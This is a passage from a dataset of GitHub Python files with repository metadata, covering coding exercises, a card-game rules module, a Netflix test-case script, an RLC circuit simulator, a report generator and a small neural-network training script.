number_of_remaining_boards_needed):\n remaining_boards = set([b for b in range(len(boards))])\n dictionary = {c : c for c in calls }\n\n for call in calls:\n for board_number, board in enumerate(boards):\n if board_number in remaining_boards:\n dictionary[call] = np.nan\n board = board.applymap(dictionary.get) \n if is_winning_board(board):\n remaining_boards.remove(board_number)\n if len(remaining_boards) == number_of_remaining_boards_needed:\n print(score_board(board) * call) \n return\n\ncalls, boards = read_file()\nplay(calls, boards, number_of_remaining_boards_needed = len(boards) - 1) #6592\nplay(calls, boards, number_of_remaining_boards_needed = 0) #31755","repo_name":"DavidBetteridge/AdventOfCode2021","sub_path":"Day04/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"2242564982","text":"#User function Template for python3\n\n\ndef binarySearch(arr, number, initial, end):\n if (end >= initial):\n middle = initial + (end - initial) // 2\n\n if arr[middle] == number:\n return middle\n elif (number > arr[middle]):\n print(\"for next itiraration\",middle, end)\n return binarySearch(arr, number, middle+1, end)\n else:\n print(\"for next itiraration\",initial, middle-1)\n return binarySearch(arr, number, initial, middle-1)\n else:\n return -1\n\n\n\nif __name__ == '__main__':\n t=int(input())\n for _ in range(t):\n params=[int(x) for x in input().strip().split()]\n n = params[0]\n number = params[1]\n arr=[int(x) for x in input().strip().split()]\n result = binarySearch(arr, number, 0, n-1)\n if (result > -1):\n print(result+1)\n else:\n print(result)\n\n","repo_name":"sachinjangid/myAlgos","sub_path":"myAlgos/who-will-win.py","file_name":"who-will-win.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"4218760069","text":"\"\"\"Module for functions that check for the Caravan card game rules and \r\neffects of special cards given the current state of players' caravans.\"\"\"\r\nfrom entities.player import Player\r\n\r\nCARAVAN_MIN = 21\r\nCARAVAN_MAX = 26\r\n\r\n\r\ndef check_if_caravan_ready(car_val: int):\r\n \"\"\"Check if caravan is ready to be sold.\r\n\r\n Args:\r\n car_val (int): The total value of a caravan's cards.\r\n\r\n Returns:\r\n bool: True if car_val is within range 21-26, else False.\r\n \"\"\"\r\n return CARAVAN_MIN <= car_val <= CARAVAN_MAX\r\n\r\n\r\ndef check_if_caravan_sold(car_val: int, opposing_car_val: int):\r\n \"\"\"Check if your caravan is ready and higher value than the opposing caravan.\r\n\r\n Args:\r\n car_val (int): Your caravan's value.\r\n\r\n opposing_car_val (int): Opponent's opposing caravan's value.\r\n\r\n Returns:\r\n bool: True if car_val is ready to be sold and higher in value than a ready opposing_car_val. \r\n Else False.\r\n \"\"\"\r\n if check_if_caravan_ready(car_val):\r\n if not check_if_caravan_ready(opposing_car_val):\r\n return True\r\n if car_val > opposing_car_val:\r\n return True\r\n return False\r\n\r\n\r\ndef check_if_legal_move(player: Player, opponent: Player, move: tuple):\r\n \"\"\"General function to check if a action to be performed is legal according to the game rules.\r\n\r\n Args:\r\n player (Player): represents the one performing the action.\r\n\r\n opponent (Player): represents the opposing player during the action.\r\n\r\n move (tuple): tuple of (caravan,index,card): Caravan into \r\n which the card object is being placed, \r\n index at which the card is being placed at in the caravan. \r\n The card object that's being placed.\r\n\r\n Returns:\r\n tuple(bool,str): A tuple of bool and str. False if \r\n the move was illegal and a message explaining why. \r\n True if the move is legal and an empty string.\r\n \"\"\"\r\n _, _, card = move\r\n if not all_own_caravans_started_or_card_going_to_own_unstarted_caravan(player, move):\r\n return (False, 'You need to start all your caravans before placing cards elsewhere. ' +\r\n 'Cards need to be either Ace or 2-10 value card.')\r\n if not putting_card_into_opponent_caravan(opponent, move):\r\n return (False, 'Only special cards (Jack, Queen, King, Joker) ' +\r\n 'can be placed in opponents caravan.')\r\n if not card.special and not using_number_card(move):\r\n return (False, 'Illegal action for a number card.')\r\n if card.special and not using_special_card(move):\r\n return (False, 'Special cards need to be placed on top of other cards.')\r\n return (True, '',)\r\n\r\n\r\ndef all_own_caravans_started_or_card_going_to_own_unstarted_caravan(player, move) -> bool:\r\n \"\"\"Check for caravan started statuses.\r\n\r\n Args:\r\n player (PLayer): Player object represents the one performing the action.\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n bool: True if all caravans started or the card used is a number card on a \r\n caravan that isn't started and the player owns. Else False.\r\n \"\"\"\r\n caravan, _, card = move\r\n if not all(c.started for c in player.caravans):\r\n if caravan not in player.caravans:\r\n return False\r\n if caravan.started:\r\n return False\r\n if not card.value in range(1, 11):\r\n return False\r\n return True\r\n\r\n\r\ndef putting_card_into_opponent_caravan(opponent, move):\r\n \"\"\"Check if a card is being placed in opponent's caravan and if the card is suited for that.\r\n \"\"\"\r\n caravan, _, card = move\r\n if caravan in opponent.caravans and not card.special:\r\n return False\r\n return True\r\n\r\n\r\ndef using_number_card(move):\r\n \"\"\"Check if the action performed is legal for a number card.\r\n \"\"\"\r\n caravan, idx, card = move\r\n c_ord_desc = caravan.order_descending\r\n legal_move = True\r\n if idx <= len(caravan.cards)-1 and idx != -1:\r\n legal_move = False\r\n if len(caravan.cards) > 0:\r\n crd = next(c for c in caravan.cards[::-1] if not c.special)\r\n prev_value = crd.value\r\n prev_suit = crd.suit\r\n if prev_value == card.value:\r\n legal_move = False\r\n if legal_move and c_ord_desc is None:\r\n return legal_move\r\n # If Queen is the top most card in caravan, it determins the suit.\r\n if caravan.cards[-1].value == 12:\r\n prev_suit = caravan.cards[-1].suit\r\n if legal_move and prev_suit == card.suit:\r\n return legal_move\r\n if c_ord_desc and prev_value <= card.value:\r\n legal_move = False\r\n if not c_ord_desc and prev_value >= card.value:\r\n legal_move = False\r\n return legal_move\r\n\r\n\r\ndef using_special_card(move):\r\n \"\"\"Check if the action is legal for a special card (Jack, Queen, King, Joker).\r\n \"\"\"\r\n caravan, idx, card = move\r\n # Queen can only be placed on top of the caravan.\r\n if idx == len(caravan.cards):\r\n idx = -1\r\n if card.value == 12 and idx != -1:\r\n return False\r\n # Can't place picture card into an empty caravan.\r\n if len(caravan.cards) == 0 or idx == 0:\r\n return False\r\n # To make sure that other specials are removed,\r\n # jack or joker can't be placed in between special and number cards.\r\n if card.value in [11, 0] and idx != -1:\r\n if caravan.cards[idx].special:\r\n return False\r\n return True\r\n\r\n\r\ndef get_cards_removed_by_jack(move):\r\n \"\"\"Get the cards that jack would remove from a caravan with the given action.\r\n\r\n Args:\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n list: A list of card objects that should be removed, if the action were to be performed.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n cards_to_remove = []\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n cards_to_remove.append(caravan.cards[i])\r\n if not caravan.cards[i].special:\r\n break\r\n return cards_to_remove\r\n\r\n\r\ndef _find_cards_to_remove(player, opponent, protected):\r\n cards_to_remove = []\r\n remove_following_specials = False\r\n for crvn in player.caravans + opponent.caravans:\r\n for crd in crvn.cards:\r\n if crd == protected:\r\n remove_following_specials = False\r\n continue\r\n if not crd.special:\r\n remove_following_specials = False\r\n # If protected card was Ace, remove all of the same suit\r\n if protected.value == 1 and protected.suit == crd.suit:\r\n cards_to_remove.append(crd)\r\n remove_following_specials = True\r\n # If protected card was any other number card, remove all of the same value\r\n elif protected.value != 1 and protected.value == crd.value:\r\n cards_to_remove.append(crd)\r\n remove_following_specials = True\r\n elif remove_following_specials:\r\n cards_to_remove.append(crd)\r\n return cards_to_remove\r\n\r\n\r\ndef get_cards_removed_by_joker(player, opponent, move):\r\n \"\"\"Get the cards that joker would remove from a caravan with the given action.\r\n\r\n Args:\r\n player (Player): represents the one performing the action.\r\n\r\n opponent (Player): represents the opposing player during the action.\r\n\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n list: A list of card objects that should be removed, \r\n if the action were to be performed and the card object, that joker is \r\n to be placed upon, which is protected from removal.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n if not caravan.cards[i].special:\r\n protected = caravan.cards[i]\r\n break\r\n cards_to_remove = _find_cards_to_remove(player, opponent, protected)\r\n return (cards_to_remove, protected)\r\n\r\n\r\ndef double_total_with_king(move):\r\n \"\"\"Find the next number card in the caravan and double its total.\r\n This function is to be refactored into the actions module.\r\n\r\n Args:\r\n move (tuple): tuple of (caravan,index,card), \r\n see check_if_legal_move for more thorough description.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n if not caravan.cards[i].special:\r\n caravan.cards[i].total *= 2\r\n break\r\n\r\n\r\ndef is_player_winner(player, opponent):\r\n \"\"\"Check if the player or opponent has won.\r\n\r\n Args:\r\n player (Player): Player in turn when the check is performed.\r\n opponent (Player): The opposing player when the check is performed.\r\n\r\n Returns:\r\n nullable bool: None if neither is a winner, \r\n True if the player is and False if it's the opponent.\r\n \"\"\"\r\n pcv = [c.value if CARAVAN_MIN <= c.value <= CARAVAN_MAX else\r\n -float('inf') for c in player.caravans]\r\n ocv = [c.value if CARAVAN_MIN <= c.value <= CARAVAN_MAX else\r\n -float('inf') for c in opponent.caravans]\r\n if sum(pcv) < 0 > sum(ocv):\r\n return None\r\n winning_caravans = 0\r\n for i in range(3):\r\n if pcv[i] > ocv[i]:\r\n winning_caravans += 1\r\n elif pcv[i] < ocv[i]:\r\n winning_caravans -= 1\r\n if winning_caravans == 0:\r\n return None\r\n if winning_caravans > 0:\r\n return True\r\n return False\r\n","repo_name":"Wincewind/ot-harjoitustyo","sub_path":"caravan/src/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"28050860672","text":"#!/usr/bin/env python3\n\n# -----------------------------\n# scripts/make_tests.py\n#\n# Script used for finding edge\n# cases and writing them to RunNetflix.in\n# -----------------------------\n\n# ----------\n# imports\n# ----------\nimport json\n\ncustomer_cache_file = \"../caches/cache.json\"\ncustomer_cache = json.load(open(customer_cache_file))\n\nmovie_cache_file = \"../caches/moviecache.json\"\nmovie_cache = json.load(open(movie_cache_file))\n\nanswer_cache_file = \"../caches/pma459-answersCache.json\"\nanswer_cache = json.load(open(answer_cache_file))\n\n\"\"\"\n\tm : movie id\n\tc : customer id\n\n\tEdge cases :\n\t\tExtreme users - users who give very high ratings\n\t\t\t\t\t - users who give very low ratings\n\t\t\t\t\t - users who only rated a few times\n\t\t\t\t\t - users who have rated many times\n\t\t\t\t\t - users who are rating a certain movie period for the first times\n\t\t\t\t\t - users who is rating for the first time\n\t\t\t\t\t - user that has rated the most\n\t\tExtreme movies - movie that is being rated for the first time\n\t\t\t\t\t - movies that have 5.0 ratings\n\t\t\t\t\t - movies that have 1.0 ratings\n\t\t\t\t\t - movies that are at 3.7 (overall rating average for the given data set) ratings\n\n\tValid test cases? :\n\t\tCan we inquire about a user who has previously rated the movie?\n\n\"\"\"\n\n\"\"\"\n\tm_c : dictionary to write to RunNetflix.in\n\t\t formatted as {movie_id{ customer_id, customer_id, ...}, movie_id{customer_id, ...}, ...}\n\n\t\t 1. Gather movie edge cases\n\t\t 2. Gather user edge cases\n\t\t 3. Pair them accordingly in m_c\n\"\"\"\nm_c = {}\nm_ = set()\nc_ = set()\n\n\"\"\" Start movie search \"\"\"\nfor m, _ in movie_cache.iteritems():\n\tavg = movie_cache[m][\"average\"]\n\tcount = movie_cache[m][\"count\"]\n\tif( avg >= 4.7): #found: 14961, 7057, 7230\n\t\t#m_c[m] = {}\n\t\tm_.add(m);\n\telif(avg <= 1.3): #found: 515\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\telif(round(avg, 1) == 3.7): #found: ... 342, 11916, 13162, 8907, 15394, 9937, 715, ...\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\tif(count < 10): #found: 13755, 11148\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\n\"\"\" Start customer search \"\"\"\nfor c, data in customer_cache.iteritems():\n\tavg = customer_cache[c][\"average\"]\n\tcount = customer_cache[c][\"count\"]\n\tif(count == 1): #way too many results\n\t\tc_.add(c)\n\telif(count >= 10000): #found: 305344, 2439493, 387418, 2118461, 1664010\n\t\tc_.add(c)\n\tfor key, value in data.iteritems():\n\t\tif(key[0].isdigit() and value[1] == 1):\n\n\t\t\tc_.add(c)\n\n\"\"\" Start pairing movies to customers n^n^n^n. I'd be fired for writing this. They should just stick this data in a sql db so we can just make joins instead! \"\"\"\nfilename = \"RunNetflix.in\"\nfnwrite = open(filename, 'w')\n\nfor m in m_:\n\tpadding = 7 - len(m)\n\tmovie_file = \"/u/downing/cs/netflix/training_set/mv_\" + \"0\"*padding + m + \".txt\"\n\tf = open(movie_file)\n\tmovie = f.readline() #pass over the movie\n\n\tfnwrite.write(str(m) + \":\\n\") # Write movie name to file\n\t#m_c[m] = set()\n\tfor line in f:\n\t\tline = line.strip()\n\t\td = line.split(\",\")\n\t\tif d[0] in c_ and str(d[0]) and m in answer_cache and str(d[0]) in answer_cache[m]:\n\t\t\tfnwrite.write(str(d[0]) + \"\\n\")\n\t\t\t#m_c[m].add(d[0])\n\tf.close()\n\n\"\"\"\nfor m, c_data in m_c:\n\tf.write(str(m) + \":\\n\")\n\tfor c in c_data:\n\t\tf.write(str(c) + \"\\n\")\n\"\"\"\n\nfnwrite.close()\n","repo_name":"keerthanakumar/cs373-netflix","sub_path":"scripts/make_tests.py","file_name":"make_tests.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8691603263","text":"from random import shuffle\n\naluno1 = input('\\033[1;31;47mPrimeiro Aluno: ')\naluno2 = input('\\033[1;32;44mSegundo Aluno: ')\naluno3 = input('\\033[1;36;42mTerceiro Aluno: ')\naluno4 = input('\\033[1;35;46mQuarto Aluno: ')\nalunos = [aluno1, aluno2, aluno3, aluno4]\nshuffle(alunos)\nprint('\\033[1;7;40mA ordem de apresentação sera:', end=' = ')\nprint(alunos)\n","repo_name":"wesleyallannotas/estudo","sub_path":"python/exercicios/ex020.py","file_name":"ex020.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"86633954072","text":"def get_size(size):\n \"\"\"Get size in readable format\"\"\"\n\n units = [\"Bytes\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n size = float(size)\n i = 0\n while size >= 1024.0 and i < len(units):\n i += 1\n size /= 1024.0\n return \"%.2f %s\" % (size, units[i])\n","repo_name":"m4mallu/gofilesbot","sub_path":"helper/file_size.py","file_name":"file_size.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"34"} +{"seq_id":"39853676924","text":"import numpy as np\nimport sympy as sp\nimport matplotlib.pyplot as plt\nfrom typing import Sequence\n\nnumber = int | float\nnumeric_sequence = Sequence[int | float]\n\n\nclass DcNoSource:\n def __init__(self, R: number, L: number, C: number) -> None:\n \"\"\"A superclass for the series and parallel RLC circuits with no source.\n\n Args:\n R (int | float): The equivalent resistance of the circuit.\n L (int | float): The equivalent inductance of the circuit.\n C (int | float): The equivalent capacitance of the circuit.\n \"\"\"\n self.R = R\n self.L = L\n self.C = C\n self.omega = 1 / np.sqrt(L * C) # type: ignore\n\n def _get_quantity(self, initial_value: number, derivative_initial_value: number, alpha: number) -> sp.Expr:\n \"\"\"Get the quantity (voltage or current) common to all elements.\n\n Args:\n initial_value (int | float): The initial value of the quantity.\n derivative_initial_value (int | float): The initial value of the derivative of the quantity.\n \"\"\"\n t = sp.Symbol('t')\n c1 = sp.Symbol('c1')\n c2 = sp.Symbol('c2')\n\n unsolved_expr = self._get_unsolved_expression(t, c1, c2, alpha)\n unsolved_expr_prime = sp.diff(unsolved_expr, t) # type: ignore\n\n eq1 = sp.Eq(unsolved_expr.subs(t, 0), initial_value, evaluate=False) # type: ignore\n eq2 = sp.Eq(unsolved_expr_prime.subs(t, 0), derivative_initial_value, evaluate=False) # type: ignore\n solution = sp.solve([eq1, eq2], [c1, c2]) # type: ignore\n\n quantity = unsolved_expr.subs([(c1, solution[c1]), (c2, solution[c2])]) # type: ignore\n return quantity # type: ignore\n\n def _get_unsolved_expression(self, t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number) -> sp.Expr:\n \"\"\"Return the unsolved expression (with the unknown constants) for the quantity.\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n alpha (int | float): The damping factor.\n\n Returns:\n sp.Expr: The unsolved expression for the quantity with the unknown constants.\n \"\"\"\n delta = alpha ** 2 - self.omega ** 2\n\n if delta > 0:\n expression = self._overdamped_response(t, c1, c2, alpha, delta)\n elif delta == 0:\n expression = self._critically_damped_response(t, c1, c2, alpha)\n else:\n expression = self._underdamped_response(t, c1, c2, alpha, delta)\n\n return expression\n\n @staticmethod\n def _overdamped_response(t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number, delta: number) -> sp.Expr:\n r\"\"\"Get the expression (with the unknown constants) for the case in which $\\alpha^2 > \\omega^2$\n\n Args:\n t (sp.Expr): A symbol representing the time.\n a1 (sp.Expr): A symbol representing the first constant.\n a2 (sp.Expr): A symbol representing the second constant.\n alpha (int or float): The damping factor.\n delta (int or float): The result of $\\alpha^2 - \\omega^2$.\n\n Returns:\n sp.Expr: The expression for $t>0$ with the unknown constants.\n \"\"\"\n s1 = -alpha + sp.sqrt(delta) # type: ignore\n s2 = -alpha - sp.sqrt(delta) # type: ignore\n voltage = c1 * sp.exp(s1 * t) + c2 * sp.exp(s2 * t) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n @staticmethod\n def _critically_damped_response(t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number) -> sp.Expr:\n r\"\"\"Get the expression (with the unknown constants) for the case in which $\\alpha^2 = \\omega^2$\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n alpha (int or float): The damping factor.\n\n Returns:\n sp.Expr: The expression for $t>0$ with the unknown constants.\n \"\"\"\n s = -alpha\n voltage = c1 * sp.exp(s * t) + c2 * t * sp.exp(s * t) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n @staticmethod\n def _underdamped_response(t: sp.Expr, c1: sp.Expr, c2: sp.Expr, alpha: number, delta: number) -> sp.Expr:\n r\"\"\"Get the expression for the voltage (with the unknown constants) for the case in which $\\alpha^2 < \\omega^2$\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n delta (int or float): The result of $\\alpha^2 - \\omega^2$\n\n Returns:\n sp.Expr: The expression for the voltage for $t>0$ with the unknown constants.\n \"\"\"\n s = -alpha\n voltage = sp.exp(s * t) * (c1 * sp.cos(sp.sqrt(-delta) * t) + c2 * sp.sin(sp.sqrt(-delta) * t)) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n\nclass SeriesRLC(DcNoSource):\n def __init__(self, R: number, L: number, C: number, i0: number, vl0: number, vc0: number, vr0: number) -> None:\n r\"\"\"\n Args:\n R (number): _The equivalent resistance of the circuit._\n L (number): _The equivalent inductance of the circuit._\n C (number): _The equivalent capacitance of the circuit._\n i0 (number): _The initial current common to all elements._\n vl0 (number): _The initial voltage across the inductor._\n vc0 (number): _The initial voltage across the capacitor._\n vr0 (number): _The initial voltage across the resistor._\n \"\"\"\n super().__init__(R, L, C)\n self.i0 = i0\n self.vl0 = vl0\n self.vc0 = vc0\n self.vr0 = vr0\n self.i_prime0 = 0\n self.alpha = R / (2 * L)\n self.current = self._get_quantity(initial_value=self.i0, derivative_initial_value=self.i_prime0, alpha=self.alpha)\n\n\nclass ParallelRLC(DcNoSource):\n def __init__(self, R: number, L: number, C: number, v0: number, il0: number, ic0: number, ir0: number) -> None:\n r\"\"\"\n Args:\n R (int or float): _The equivalent resistance of the circuit._\n L (int or float): _The equivalent inductance of the circuit._\n C (int or float): _The equivalent capacitance of the circuit._\n v0 (int or float): _The initial voltage common to all elements._\n il0 (int or float): _The initial current through the inductor._\n ic0 (int or float): _The initial current through the capacitor._\n ir0 (int or float): _The initial current through the resistor._\n \"\"\"\n super().__init__(R, L, C)\n self.v0 = v0\n self.il0 = il0\n self.ic0 = ic0\n self.ir0 = ir0\n self.v_prime0 = -(v0 + R * il0) / (R * C)\n self.alpha = 1 / (2 * R * C)\n self.voltage = self._get_quantity(initial_value=self.v0, derivative_initial_value=self.v_prime0, alpha=self.alpha)\n self._get_resistor_current()\n self._get_inductor_current()\n self._get_capacitor_current()\n\n def _get_capacitor_current(self) -> None:\n r\"\"\"_Get the expression for the capacitor current for \\(t>0\\)._\"\"\"\n t = sp.Symbol('t')\n self.capacitor_current = self.C * sp.diff(self.voltage, t) # type: ignore\n\n def _get_inductor_current(self) -> None:\n r\"\"\"_Get the expression for the inductor current for \\(t>0\\)._\"\"\"\n t = sp.Symbol('t')\n self.inductor_current = (1 / self.L) * sp.integrate(self.voltage, (t, 0, t)) + self.il0 # type: ignore\n\n def _get_resistor_current(self) -> None:\n r\"\"\"_Get the expression for the resistor current for \\(t>0\\)._\"\"\"\n self.resistor_current = self.voltage / self.R # type: ignore\n\n def plot(self, quantity: str, time: numeric_sequence) -> None:\n r\"\"\"Plot the voltage or currents of the circuit for a given time interval.\n\n Args:\n quantity (str): _The quantity to be plotted. It can be either 'voltage' or 'current'._\n t (Sequence[int or float]): _The time interval for which the quantity is to be plotted._\n \"\"\"\n ax = plt.subplots()[1] # type: ignore\n ax.spines['left'].set_position('zero') # type: ignore\n ax.spines['bottom'].set_position('zero') # type: ignore\n ax.spines['left'].set_linestyle('--') # type: ignore\n ax.spines['bottom'].set_linestyle('--') # type: ignore\n ax.spines['top'].set_visible(False) # type: ignore\n ax.spines['right'].set_visible(False) # type: ignore\n ax.spines['left'].set_color('black') # type: ignore\n ax.spines['bottom'].set_color('black') # type: ignore\n\n if quantity == 'voltage':\n voltages = [float(self._v(t)) for t in time]\n ax.set_ylabel('V(V)', horizontalalignment='right', rotation='horizontal', labelpad=-10) # type: ignore\n plt.plot(time, voltages, color='green') # type: ignore\n\n elif quantity == 'current':\n capacitor_current = np.array([float(self._i_c(t)) for t in time])\n inductor_current = np.array([float(self._i_l(t)) for t in time])\n resistor_current = np.array([float(self._i_r(t)) for t in time])\n ax.set_ylabel('I(A)', horizontalalignment='right', rotation='horizontal', labelpad=-10) # type: ignore\n plt.plot(time[time < 0], capacitor_current[time < 0], color='red', label=r'$I_{C}(t)$') # type: ignore\n plt.plot(time[time > 0], capacitor_current[time > 0], color='red') # type: ignore\n plt.plot(time[time < 0], inductor_current[time < 0], color='blue', label=r'$I_{L}(t)$') # type: ignore\n plt.plot(time[time > 0], inductor_current[time > 0], color='blue') # type: ignore\n plt.plot(time[time < 0], resistor_current[time < 0], color='green', label=r'$I_{R}(t)$') # type: ignore\n plt.plot(time[time > 0], resistor_current[time > 0], color='green') # type: ignore\n plt.legend(fontsize='large') # type: ignore\n\n ax.set_xlabel('t(s)', horizontalalignment='right', labelpad=-10) # type: ignore\n ax.xaxis.set_label_coords(1.04, 0.08) # type: ignore\n ax.yaxis.set_label_coords(0.16, 1.025) # type: ignore\n plt.show() # type: ignore\n\n def _v(self, t: number) -> number:\n r\"\"\"_Returns v0 if \\(t<0\\) and self.voltage.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the voltage is to be calculated._\n\n Returns:\n int or float: _The voltage at time /(t/)._\n \"\"\"\n if t < 0:\n return self.v0\n else:\n return self.voltage.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_c(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{C}(0)\\) if \\(t<0\\) and self.capacitor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.ic0\n else:\n return self.capacitor_current.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_l(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{L}(0)\\) if \\(t<0\\) and self.inductor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.il0\n else:\n return self.inductor_current.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_r(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{R}(0)\\) if \\(t<0\\) and self.resistor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.ir0\n else:\n return self.resistor_current.subs(sp.Symbol('t'), t) # type: ignore\n","repo_name":"Andrey-RV/DC-RLC-CircuitSimulator","sub_path":"dc/no_source.py","file_name":"no_source.py","file_ext":"py","file_size_in_byte":13154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8389952080","text":"\r\nimport webbrowser\r\nimport datetime\r\nfrom itertools import groupby, count\r\n\r\n\r\n# This is to seperate the wrong lines into ranges\r\ndef intervals(data):\r\n out = []\r\n counter = count()\r\n\r\n for key, group in groupby(data, key=lambda x: x - next(counter)):\r\n block = list(group)\r\n out.append([block[0], block[-1]])\r\n return out\r\n\r\n\r\ndef reportfile(tblines, lvlines, numcorrect, numwrong, linewrong, delaywrong, docid, oldvalue):\r\n linewrong = intervals(linewrong)\r\n delaywrong = intervals(delaywrong)\r\n message = \"\"\"\r\n

%s

\r\n Number of lines in the Testbench results: %i
\r\n Number of lines in the LabView results: %i
\r\n Number of lines that matched: %i
\r\n Number of lines that mismatched: %i
\r\n Range of lines that has different Input/Output from the simulation results: %s
\r\n Range of lines that has different Delay Between States from the simulation results: %s

\r\n

\r\n \"\"\"\r\n indfiles = message % (docid, docid, tblines, lvlines, numcorrect, numwrong, linewrong, delaywrong)\r\n return (oldvalue + indfiles)\r\n\r\n\r\ndef summaryfile(filesidentical, filedifferent, wrongfiles, wrongdoc):\r\n global listoffiles\r\n now = datetime.datetime.today().strftime(\"%Y/%m/%d - %H:%M:%S\")\r\n with open(\"Summary.html\", \"w\") as myFile:\r\n htmlresults = \"\"\"\r\n

Verification & Validation File -- Generated at: %s


Project 8 - LGCS Test Results
\r\n Report Summary:


\r\n \r\n \r\n \r\n \r\n \r\n
\r\n Number of Identical Files: %i

\r\n Number of Different Files: %i

\r\n Files that are different from the simulation: \"\"\"\r\n resultstext1 = htmlresults % (now, filesidentical, filedifferent, filesidentical, filedifferent)\r\n myFile.write(resultstext1)\r\n for i in range(filedifferent):\r\n listoffiles = \"\"\"%s, \"\"\"\r\n resultstext2 = listoffiles % (wrongfiles[i], wrongfiles[i])\r\n myFile.write(resultstext2)\r\n descriptions = \"\"\"

Here is the description of all the files that was NOT validated:
\r\n %s

\"\"\"\r\n resultstext3 = descriptions % (wrongdoc)\r\n myFile.write(resultstext3)\r\n webbrowser.open_new_tab(\"Summary.html\")\r\n","repo_name":"hugorod87/Portfolio---Python","sub_path":"reportgen.py","file_name":"reportgen.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"2394359034","text":"def first(arr, low, high, key, size):\n if high >= low:\n mid = low + (high - low) // 2\n if ((mid == 0) or key > arr[mid - 1]) and arr[mid] == key:\n return mid\n elif key > arr[mid]:\n return first(arr, mid + 1, high, key, size)\n else:\n return first(arr, low, mid - 1, key, size)\n return low\n\n\ndef last(arr, low, high, key, size):\n if high >= low:\n mid = low + (high - low) // 2\n if ((mid == size - 1) or key < arr[mid - 1]) and arr[mid] == key:\n return mid\n elif key < arr[mid]:\n return last(arr, low, mid - 1, key, size)\n else:\n return last(arr, mid + 1, high, key, size)\n return low\n\n\na = [1, 2, 3, 5, 5, 7, 7, 8, 8, 9, 9]\nsize = len(a)\nkey = 23\nprint(size)\nprint(first(a, 0, size - 1, key, size))\nprint(last(a, 0, size - 1, key, size))\n","repo_name":"shvamabps/dsa","sub_path":"search/leftmost_binarySearch.py","file_name":"leftmost_binarySearch.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15610092184","text":"from training.data import data\nfrom mis_loader import vectorized_result\nfrom network import Network\nimport random\nimport time\nimport numpy as np\n\nrandom.shuffle(data)\n\n\ntrainig_data = data[:500]\ntest_data = data[:-500]\n\n\ntrainig_results = [vectorized_result(y[1], 2) for y in trainig_data]\ntrainig_inputs = [y[0] for y in trainig_data]\n\ntraining_data = list(zip(trainig_inputs, trainig_results))\n\nnet = Network([9, 100, 20, 2])\nnet.SGD(training_data, 50, 20, 2, test_data=test_data)\n\ntrans = [\"not invertible\", \"invertible\"]\nrandom.shuffle(test_data)\nfor entry in test_data:\n print(f\" 